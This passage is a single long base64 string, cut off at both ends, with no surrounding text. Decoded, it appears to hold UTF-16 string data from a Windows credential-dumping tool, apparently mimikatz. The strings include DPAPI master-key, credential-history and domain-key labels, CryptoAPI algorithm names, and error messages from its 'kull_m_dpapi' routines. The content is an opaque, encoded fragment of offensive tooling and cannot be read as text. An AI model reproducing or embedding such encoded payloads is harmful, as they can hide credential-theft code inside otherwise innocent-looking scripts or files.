FCSEFGOEFVZ0JEQURJQUFBQUFBQUFBQUFCREFFRUFUQUJIQUY4QVVnQkRBRFFBQUFBQUFBQUFBQUJEQUVFQVRBQkhBRjhBVXdCRkFFRUFUQUFBQUFBQUFBQkRBRUVBVEFCSEFGOEFSQUJJQUY4QVV3QkdBQUFBQUFCREFFRUFUQUJIQUY4QVJBQklBRjhBUlFCUUFFZ0FSUUJOQUFBQUFBQUFBRU1BUVFCTUFFY0FYd0JCQUVjQVVnQkZBRVVBUkFCTEFFVUFXUUJmQUVFQVRnQlpBQUFBQUFCREFFRUFUQUJIQUY4QVN3QkZBRUVBWHdCTEFFVUFXUUJZQUFBQUFBQUFBRU1BUVFCTUFFY0FYd0JJQUZVQVJ3QklBRVVBVXdCZkFFMEFSQUExQUFBQVF3QkJBRXdBUndCZkFGTUFTd0JKQUZBQVNnQkJBRU1BU3dBQUFBQUFBQUJEQUVFQVRBQkhBRjhBVkFCRkFFc0FBQUFBQUFBQUFBQkRBRUVBVEFCSEFGOEFRd0JaQUV3QVNRQk9BRXNBWHdCTkFFVUFTd0FBQUVNQVFRQk1BRWNBWHdCVEFGTUFUQUF6QUY4QVV3QklBRUVBVFFCRUFEVUFBQUFBQUFBQUFBQkRBRUVBVEFCSEFGOEFVd0JUQUV3QU13QmZBRTBBUVFCVEFGUUFSUUJTQUFBQUFBQUFBQUFBUXdCQkFFd0FSd0JmQUZNQVF3QklBRUVBVGdCT0FFVUFUQUJmQUUwQVFRQlRBRlFBUlFCU0FGOEFTQUJCQUZNQVNBQUFBQUFBQUFCREFFRUFUQUJIQUY4QVV3QkRBRWdBUVFCT0FFNEFSUUJNQUY4QVRRQkJBRU1BWHdCTEFFVUFXUUFBQUFBQUFBQkRBRUVBVEFCSEFGOEFVd0JEQUVnQVFRQk9BRTRBUlFCTUFGOEFSUUJPQUVNQVh3QkxBRVVBV1FBQUFBQUFBQUJEQUVFQVRBQkhBRjhBVUFCREFGUUFNUUJmQUUwQVFRQlRBRlFBUlFCU0FBQUFBQUFBQUFBQVF3QkJBRXdBUndCZkFGTUFVd0JNQURJQVh3Qk5BRUVBVXdCVUFFVUFVZ0FBQUFBQUFBQUFBRU1BUVFCTUFFY0FYd0JVQUV3QVV3QXhBRjhBVFFCQkFGTUFWQUJGQUZJQUFBQUFBQUFBQUFCREFFRUFUQUJIQUY4QVVnQkRBRFVBQUFBQUFBQUFBQUJEQUVFQVRBQkhBRjhBU0FCTkFFRUFRd0FBQUFBQUFBQkRBRUVBVEFCSEFGOEFWQUJNQUZNQU1RQlFBRklBUmdBQUFBQUFBQUFBQUVNQVFRQk1BRWNBWHdCSUFFRUFVd0JJQUY4QVVnQkZBRkFBVEFCQkFFTUFSUUJmQUU4QVZ3QkdBQUFBQUFBQUFFTUFRUUJNQUVjQVh3QkJBRVVBVXdCZkFERUFNZ0E0QUFBQUFBQUFBQUFBUXdCQkFFd0FSd0JmQUVFQVJRQlRBRjhBTVFBNUFESUFBQUFBQUFBQUFBQkRBRUVBVEFCSEFGOEFRUUJGQUZNQVh3QXlBRFVBTmdBQUFBQUFBQUFBQUVNQVFRQk1BRWNBWHdCQkFFVUFVd0FBQUFBQUFBQUFBRU1BUVFCTUFFY0FYd0JUQUVnQVFRQmZBRElBTlFBMkFBQUFBQUFBQUFBQVF3QkJBRXdBUndCZkFGTUFTQUJCQUY4QU13QTRBRFFBQUFBQUFBQUFBQUJEQUVFQVRBQkhBRjhBVXdCSUFFRUFYd0ExQURFQU1nQUFBQUFBQUFBQUFFTUFRUUJNQUVjQVh3QkZBRU1BUkFCSUFBQUFBQUFBQUVNQVFRQk1BRWNBWHdCRkFFTUFUUUJSQUZZQUFBQUFBRU1BUVFCTUFFY0FYd0JGQUVNQVJBQlRBRUVBQUFBQUFFRUFWQUJmQUVzQVJRQlpBRVVBV0FCREFFZ0FRUUJPQUVjQVJRQUFBQUFBUVFCVUFGOEFVd0JKQUVjQVRnQkJBRlFBVlFCU0FFVUFBQUFBQUFBQUFBQkRBRTRBUndBZ0FFc0FaUUI1QUFBQVB3QUFBQUFBQUFBbEFDb0Fjd0FxQUNvQVFnQk1BRThBUWdBcUFDb0FDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVZnQmxBSElBY3dCcEFHOEFiZ0FnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR2NBZFFCcEFHUUFVQUJ5QUc4QWRnQnBBR1FBWlFCeUFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVRRQmhBSE1BZEFCbEFISUFTd0JsQUhrQVZnQmxBSElBY3dCcEFHOEFiZ0FnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR2NBZFFCcEFHUUFUUUJoQUhNQWRBQmxBSElBU3dCbEFIa0FJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVJnQnNBR0VBWndCekFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCRUFHVUFjd0JqQUhJQWFRQndBSFFBYVFCdkFHNEFUQUJsQUc0QUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFjd0I2QUVRQVpRQnpBR01BY2dCcEFIQUFkQUJwQUc4QWJnQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BQUFBQUFBQUFKUUFxQUhNQUlBQWdBR0VBYkFCbkFFTUFjZ0I1QUhBQWRBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFDQUFLQUFsQUhNQUtRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FHUUFkd0JCQUd3QVp3QkRBSElBZVFCd0FIUUFUQUJsQUc0QUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUNVQU1BQTRBSGdBSUFBdEFDQUFKUUIxQUFvQUFBQUFBQUFBQUFBbEFDb0Fjd0FnQUNBQVpBQjNBRk1BWVFCc0FIUUFUQUJsQUc0QUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCd0FHSUFVd0JoQUd3QWRBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUFBQUFBQUFBQUFBbEFDb0Fjd0FnQUNBQVpBQjNBRWdBYlFCaEFHTUFTd0JsQUhrQVRBQmxBRzRBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBQ2dBQUFBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCd0FHSUFTQUJ0QUdFQVl3QnJBRXNBWlFCNUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUFBQUFBQUFBQUFBbEFDb0Fjd0FnQUNBQVlRQnNBR2NBU0FCaEFITUFhQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSFVBSUFBb0FDVUFjd0FwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBWkFCM0FFRUFiQUJuQUVnQVlRQnpBR2dBVEFCbEFHNEFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVNBQnRBR0VBWXdBeUFFc0FaUUI1QUV3QVpRQnVBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBSEFBWWdCSUFHMEFZUUJqQUdzQU1nQkxBR1VBZVFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVJBQmhBSFFBWVFCTUFHVUFiZ0FnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBSEFBWWdCRUFHRUFkQUJoQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVV3QnBBR2NBYmdCTUFHVUFiZ0FnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBSEFBWWdCVEFHa0Fad0J1QUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFLQUFvQUFBQUFBQ1VBS2dCekFDb0FLZ0JOQUVFQVV3QlVBRVVBVWdCTEFFVUFXUUFxQUNvQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCa0FIY0FWZ0JsQUhJQWN3QnBBRzhBYmdBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUNVQUtnQnpBQ0FBSUFCekFHRUFiQUIwQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FISUFid0IxQUc0QVpBQnpBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUFBQUFBQUFBQUFBQUFBbEFDb0Fjd0FnQUNBQVlRQnNBR2NBU0FCaEFITUFhQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQWdBQ2dBSlFCekFDa0FDZ0FBQUNVQUtnQnpBQ0FBSUFCaEFHd0Fad0JEQUhJQWVRQndBSFFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFDQUFLQUFsQUhNQUtRQUtBQUFBSlFBcUFITUFJQUFnQUhBQVlnQkxBR1VBZVFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUFBQUFBQUFBQUFBbEFDb0Fjd0FxQUNvQVF3QlNBRVVBUkFCSUFFa0FVd0JVQUNBQVNRQk9BRVlBVHdBcUFDb0FDZ0FBQUFBQUFBQWxBQ29BY3dBZ0FDQUFad0IxQUdrQVpBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQUFBQUFBQ1VBS2dCekFDb0FLZ0JFQUU4QVRRQkJBRWtBVGdCTEFFVUFXUUFxQUNvQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCa0FIY0FVd0JsQUdNQWNnQmxBSFFBVEFCbEFHNEFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUdRQWR3QkJBR01BWXdCbEFITUFjd0JqQUdnQVpRQmpBR3NBVEFCbEFHNEFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBSlFBcUFITUFJQUFnQUdjQWRRQnBBR1FBVFFCaEFITUFkQUJsQUhJQVN3QmxBSGtBSUFBZ0FDQUFJQUE2QUNBQUFBQUFBQUFBQUFBbEFDb0Fjd0FnQUNBQWNBQmlBRk1BWlFCakFISUFaUUIwQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQndBR0lBUVFCakFHTUFaUUJ6QUhNQVl3Qm9BR1VBWXdCckFDQUFJQUFnQUNBQU9nQWdBQUFBQUFBQUFBQUFKUUFxQUhNQUtnQXFBRTBBUVFCVEFGUUFSUUJTQUVzQVJRQlpBRk1BS2dBcUFBb0FBQUFBQUFBQUFBQUFBQUFBSlFBcUFITUFJQUFnQUhNQWVnQkhBSFVBYVFCa0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBSHNBSlFBdUFETUFOZ0J6QUgwQUNnQUFBQUFBQUFBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBWkFCM0FFMEFZUUJ6QUhRQVpRQnlBRXNBWlFCNUFFd0FaUUJ1QUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVFnQmhBR01BYXdCMUFIQUFTd0JsQUhrQVRBQmxBRzRBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCREFISUFaUUJrQUVnQWFRQnpBSFFBVEFCbEFHNEFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFaQUIzQUVRQWJ3QnRBR0VBYVFCdUFFc0FaUUI1QUV3QVpRQnVBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBQUFBQUFDVUFLZ0J6QUZzQWJRQmhBSE1BZEFCbEFISUFhd0JsQUhrQVhRQUtBQUFBSlFBcUFITUFXd0JpQUdFQVl3QnJBSFVBY0FCckFHVUFlUUJkQUFvQUFBQWxBQ29BY3dCYkFHTUFjZ0JsQUdRQWFBQnBBSE1BZEFCZEFBb0FBQUFBQUNVQUtnQnpBRnNBWkFCdkFHMEFZUUJwQUc0QWF3QmxBSGtBWFFBS0FBQUFKUUFxQUhNQUtnQXFBRU1BVWdCRkFFUUFTQUJKQUZNQVZBQXFBQ29BQ2dBQUFBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCa0FIY0FWZ0JsQUhJQWN3QnBBRzhBYmdBZ0FEb0FJQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFkUUFLQUFBQUpRQXFBSE1BSUFBZ0FHY0FkUUJwQUdRQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVRnQmxBSGdBZEFCTUFHVUFiZ0FnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBSlFBcUFITUFLZ0FxQUVNQVVnQkZBRVFBU0FCSkFGTUFWQUFnQUVVQVRnQlVBRklBV1FBcUFDb0FDZ0FBQUFBQUpRQXFBSE1BSUFBZ0FHUUFkd0JVQUhrQWNBQmxBQ0FBSUFBZ0FDQUFPZ0FnQUNVQU1BQTRBSGdBSUFBdEFDQUFKUUIxQUFvQUFBQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQmhBR3dBWndCSUFHRUFjd0JvQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBZ0FDZ0FKUUJ6QUNrQUNnQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQnlBRzhBZFFCdUFHUUFjd0FnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFKUUFxQUhNQUlBQWdBSE1BYVFCa0FFd0FaUUJ1QUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJoQUd3QVp3QkRBSElBZVFCd0FIUUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQWdBQ2dBSlFCekFDa0FDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJ6QUdnQVlRQXhBRXdBWlFCdUFDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBSlFBcUFITUFJQUFnQUcwQVpBQTBBRXdBWlFCdUFDQUFJQUFnQUNBQU9nQWdBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQW9BQUFBbEFDb0Fjd0FnQUNBQVV3QmhBR3dBZEFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBQUFBQUFKUUFxQUhNQUlBQWdBRk1BYVFCa0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFBQUNVQUtnQnpBQ0FBSUFCd0FGTUFaUUJqQUhJQVpRQjBBQ0FBSUFBZ0FEb0FJQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBSFVBYmdCd0FISUFid0IwQUdVQVl3QjBBRjhBWWdCc0FHOEFZZ0FnQURzQUlBQkRBSElBZVFCd0FIUUFSQUJsQUdNQWNnQjVBSEFBZEFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBZFFCdUFIQUFjZ0J2QUhRQVpRQmpBSFFBWHdCaUFHd0Fid0JpQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QVl3QnlBSGtBY0FCMEFHOEFYd0JqQUd3QWJ3QnpBR1VBWHdCb0FIQUFjZ0J2QUhZQVh3QmtBR1VBYkFCbEFIUUFaUUJmQUdNQWJ3QnVBSFFBWVFCcEFHNEFaUUJ5QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWkFCd0FHRUFjQUJwQUY4QWRRQnVBSEFBY2dCdkFIUUFaUUJqQUhRQVh3QmlBR3dBYndCaUFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCb0FHc0FaUUI1QUY4QWN3QmxBSE1BY3dCcEFHOEFiZ0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUhVQWJnQndBSElBYndCMEFHVUFZd0IwQUY4QWJRQmhBSE1BZEFCbEFISUFhd0JsQUhrQVh3QjNBR2tBZEFCb0FGOEFjd0JvQUdFQVJBQmxBSElBYVFCMkFHVUFaQUJyQUdVQWVRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QVl3QnNBRzhBY3dCbEFGOEFhQUJ3QUhJQWJ3QjJBRjhBWkFCbEFHd0FaUUIwQUdVQVh3QmpBRzhBYmdCMEFHRUFhUUJ1QUdVQWNnQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBSFVBYmdCd0FISUFid0IwQUdVQVl3QjBBRjhBYlFCaEFITUFkQUJsQUhJQWF3QmxBSGtBWHdCM0FHa0FkQUJvQUY4QWN3Qm9BR0VBUkFCbEFISUFhUUIyQUdVQVpBQnJBR1VBZVFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBYUFCckFHVUFlUUJmQUhNQVpRQnpBSE1BYVFCdkFHNEFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QmtBSEFBWVFCd0FHa0FYd0IxQUc0QWNBQnlBRzhBZEFCbEFHTUFkQUJmQUdRQWJ3QnRBR0VBYVFCdUFHc0FaUUI1QUY4QWR3QnBBSFFBYUFCZkFHc0FaUUI1QUNBQU93QWdBRU1BY2dCNUFIQUFkQUJFQUdVQVl3QnlBSGtBY0FCMEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFkUUJ1QUhBQWNnQnZBSFFBWlFCakFIUUFYd0JrQUc4QWJRQmhBR2tBYmdCckFHVUFlUUJmQUhjQWFRQjBBR2dBWHdCckFHVUFlUUFnQURzQUlBQkRBSElBZVFCd0FIUUFVd0JsQUhRQVN3QmxBSGtBVUFCaEFISUFZUUJ0QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUdRQWNBQmhBSEFBYVFCZkFIVUFiZ0J3QUhJQWJ3QjBBR1VBWXdCMEFGOEFaQUJ2QUcwQVlRQnBBRzRBYXdCbEFIa0FYd0IzQUdrQWRBQm9BRjhBYXdCbEFIa0FJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0JqQUhJQWVRQndBSFFBYndCZkFHTUFiQUJ2QUhNQVpRQmZBR2dBY0FCeUFHOEFkZ0JmQUdRQVpRQnNBR1VBZEFCbEFGOEFZd0J2QUc0QWRBQmhBR2tBYmdCbEFISUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCa0FIQUFZUUJ3QUdrQVh3QjFBRzRBY0FCeUFHOEFkQUJsQUdNQWRBQmZBR01BY2dCbEFHUUFhQUJwQUhNQWRBQmZBR1VBYmdCMEFISUFlUUJmQUhjQWFRQjBBR2dBWHdCekFHZ0FZUUJFQUdVQWNnQnBBSFlBWlFCa0FHc0FaUUI1QUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QVl3QnlBSGtBY0FCMEFHOEFYd0JqQUd3QWJ3QnpBR1VBWHdCb0FIQUFjZ0J2QUhZQVh3QmtBR1VBYkFCbEFIUUFaUUJmQUdNQWJ3QnVBSFFBWVFCcEFHNEFaUUJ5QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0JrQUhBQVlRQndBR2tBWHdCMUFHNEFjQUJ5QUc4QWRBQmxBR01BZEFCZkFHTUFjZ0JsQUdRQWFBQnBBSE1BZEFCZkFHVUFiZ0IwQUhJQWVRQmZBSGNBYVFCMEFHZ0FYd0J6QUdnQVlRQkVBR1VBY2dCcEFIWUFaUUJrQUdzQVpRQjVBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3Qm9BR3NBWlFCNUFGOEFjd0JsQUhNQWN3QnBBRzhBYmdBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUc4QWJnQmZBSFVBYmdCd0FISUFid0IwQUdVQVl3QjBBQUFBQUFBQUFBQUFid0J1QUY4QWNBQnlBRzhBZEFCbEFHTUFkQUFBQUFBQWNnQmxBSE1BWlFCeUFIWUFaUUJrQUFBQUFBQUFBQUFBY3dCMEFISUFid0J1QUdjQUFBQUFBSElBWlFCeEFIVUFhUUJ5QUdVQVh3QnpBSFFBY2dCdkFHNEFad0FBQUFBQUpRQnpBQ0FBT3dBZ0FBQUFBQUFBQUhVQWFRQmZBR1lBYndCeUFHSUFhUUJrQUdRQVpRQnVBQUFBQUFBQUFBQUFkUUJ1QUdzQWJnQnZBSGNBYmdBQUFHd0Fid0JqQUdFQWJBQmZBRzBBWVFCakFHZ0FhUUJ1QUdVQUFBQUFBQUFBWXdCeUFHVUFaQUJmQUhNQWVRQnVBR01BQUFBQUFBQUFZUUIxQUdRQWFRQjBBQUFBQUFBQUFHNEFid0JmQUhJQVpRQmpBRzhBZGdCbEFISUFlUUFBQUhZQVpRQnlBR2tBWmdCNUFGOEFjQUJ5QUc4QWRBQmxBR01BZEFCcEFHOEFiZ0FBQUFBQUFBQmpBSElBWlFCa0FGOEFjZ0JsQUdjQVpRQnVBR1VBY2dCaEFIUUFaUUFBQUhONWMzUmxiUUFBQ2dBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFDZ0JDQUdFQWN3QmxBRFlBTkFBZ0FHOEFaZ0FnQUdZQWFRQnNBR1VBSUFBNkFDQUFKUUJ6QUFvQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBQW9BQUFBbEFHTUFBQUFBQUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCckFHVUFjZ0J1QUdVQWJBQmZBR2tBYndCakFIUUFiQUJmQUdnQVlRQnVBR1FBYkFCbEFDQUFPd0FnQUVRQVpRQjJBR2tBWXdCbEFFa0Fid0JEQUc4QWJnQjBBSElBYndCc0FDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFDQUFPZ0FnQURBQWVBQWxBREFBT0FCNEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCckFHVUFjZ0J1QUdVQWJBQmZBR2tBYndCakFIUUFiQUFnQURzQUlBQkRBSElBWlFCaEFIUUFaUUJHQUdrQWJBQmxBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFBQUJjQUZ3QUxnQmNBRzBBYVFCdEFHa0FaQUJ5QUhZQUFBQWxBQ29BY3dBcUFDb0FTd0JGQUZrQUlBQW9BR01BWVFCd0FHa0FLUUFxQUNvQUNnQUFBQUFBQUFBQUFBQUFBQUFsQUNvQWN3QWdBQ0FBWkFCM0FGVUFiZ0JwQUhFQWRRQmxBRTRBWVFCdEFHVUFUQUJsQUc0QUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQzBBSUFBbEFIVUFDZ0FBQUFBQUFBQUFBQ1VBS2dCekFDQUFJQUJrQUhjQVVBQjFBR0lBYkFCcEFHTUFTd0JsQUhrQVRBQmxBRzRBSUFBZ0FDQUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFMUUFnQUNVQWRRQUtBQUFBQUFBQUFBQUFKUUFxQUhNQUlBQWdBR1FBZHdCUUFISUFhUUIyQUdFQWRBQmxBRXNBWlFCNUFFd0FaUUJ1QUNBQUlBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFBb0FBQUFBQUFBQUFBQWxBQ29BY3dBZ0FDQUFaQUIzQUVnQVlRQnpBR2dBVEFCbEFHNEFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhVQUNnQUFBQUFBQUFBQUFDVUFLZ0J6QUNBQUlBQmtBSGNBUlFCNEFIQUFid0J5QUhRQVJnQnNBR0VBWndCTUFHVUFiZ0FnQUNBQUlBQWdBRG9BSUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBZFFBS0FBQUFBQUFBQUFBQUpRQXFBSE1BSUFBZ0FIQUFWUUJ1QUdrQWNRQjFBR1VBVGdCaEFHMEFaUUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUFBQWxBRk1BQ2dBQUFDVUFLZ0J6QUNBQUlBQndBRWdBWVFCekFH